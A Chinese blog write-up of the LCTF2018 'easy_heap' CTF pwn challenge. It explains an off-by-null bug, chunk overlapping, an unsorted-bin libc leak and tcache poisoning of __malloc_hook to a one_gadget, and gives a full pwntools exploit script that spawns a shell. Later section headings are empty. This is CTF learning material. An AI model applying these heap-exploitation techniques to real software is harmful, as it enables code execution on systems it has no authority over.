最近忙的焦头烂额,写点学长们出的题放松一下…(x
0x00.绪论
LCTF ——前身是XDCTF (不包括2016及以后的部分),是由L-TEAM@XDSEC主办的CTF,2019年加入D3CTF豪华全家桶
前辈师傅们的出题质量很高,所以我可能卡好几天才会出一道题23333
虽然难是真的难,但是作为协会的小学弟还是要把学长们出过的题刷一刷XD
0x01.easy_heap - off by null + chunk overlapping + Unsorted bin Leak + one_gadget 点击下载-easy_heap
点击下载-libc64.so
惯例的checksec
分析,保护全开
拖入IDA进行分析(部分函数及变量经过重命名
果不其然,传统的CTF签到题都是堆题,LCTF2018也不例外
我们可以看到程序本身仅会分配大小为 0xF8
的堆块
同时本题只允许我们分配10个堆块,在需要用7个来填满tcache的前提下, 可用空间属实有一丶丶紧张
漏洞点存在于读入输入时,会将当前chunk的*(ptr + size)置0
我们不难想到,若是我们输入的size为0xf8
,则有机会将下一个物理相邻chunk的PREV_INUSE域覆盖为0 ,即存在off by null漏洞
248 = 16*15 + 8
通过off by null漏洞我们便可以实现堆块的重叠(overlap):在tcache有六个chunk、我们手上有地址连续的三个chunk:A、B、C的情况下,先free掉B,送入tcache中保护起来,free掉A送入tcache,再malloc回B,覆写C的PREV_IN_USE为0,之后free掉C,触发malloc_consolidate,合并成为一个0x300的大chunk ,实现overlapping
之后倒空tcache,再分配一个chunk,便会分割unsorted bin里的大chunk,此时unsorted bin里的chunk与此前的chunk B重叠,输出chunk B的内容便能获得libc基址
再分配一个chunk以得到指向相同位置上的堆块的索引,在这里构造tcache poisoning覆写__malloc_hook为one_gadget后随便分配一个chunk即可getshell
需要注意的是在释放堆块的功能函数中在free前会先清空堆块内容,故在这里无法通过修改__free_hook为system后free(“/bin/sh”)的方法来getshell,因此笔者只好选择攻击__malloc_hook
故构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import *p = process('./easy_heap' ) e = ELF('./easy_heap' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = 0x10a41c def cmd (index:int ): p.recvuntil(b'> ' ) p.sendline(str (index).encode()) def new (size:int , content ): cmd(1 ) p.recvuntil(b'size \n> ' ) p.sendline(str (size).encode()) p.recvuntil(b'content \n> ' ) p.sendline(content) def free (index:int ): cmd(2 ) p.recvuntil(b'index \n> ' ) p.sendline(str (index).encode()) def dump (index:int ): cmd(3 ) p.recvuntil(b'index \n> ' ) p.sendline(str (index).encode()) def exp (): for i in range (10 ): new(114 , "arttnba3" ) for i in range (7 ): free(9 -i) free(0 ) free(1 ) free(2 ) for i in range (10 ): new(114 , "arttnba3" ) free(8 ) for i in range (6 ): free(i) free(7 ) for i in range (6 ): new(114 , "arttnba3" ) new(0xF8 , "arttnba3" ) for i in range (7 ): free(i) free(9 ) for i in range (7 ): new(114 , "arttnba3" ) new(114 , "arttnba3" ) dump(7 ) main_arena = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96 __malloc_hook = main_arena - 0x10 libc_base = __malloc_hook - libc.sym['__malloc_hook' ] log.info("libc addr leak: " + hex (libc_base)) new(114 , "arttnba3" ) free(0 ) free(1 ) free(7 ) free(2 ) free(9 ) new(114 , p64(libc_base + libc.sym['__malloc_hook' ])) new(114 , "arttnba3" ) new(114 , "arttnba3" ) new(114 , p64(libc_base + one_gadget)) cmd(1 ) p.interactive() if __name__ == '__main__' : exp()
运行,成功getshell(本地环境Ubuntu18.0.4)
0x02.pwn4fun 0x03.justpwn - House of Spirit 点击下载-just_pwn
0x04.echos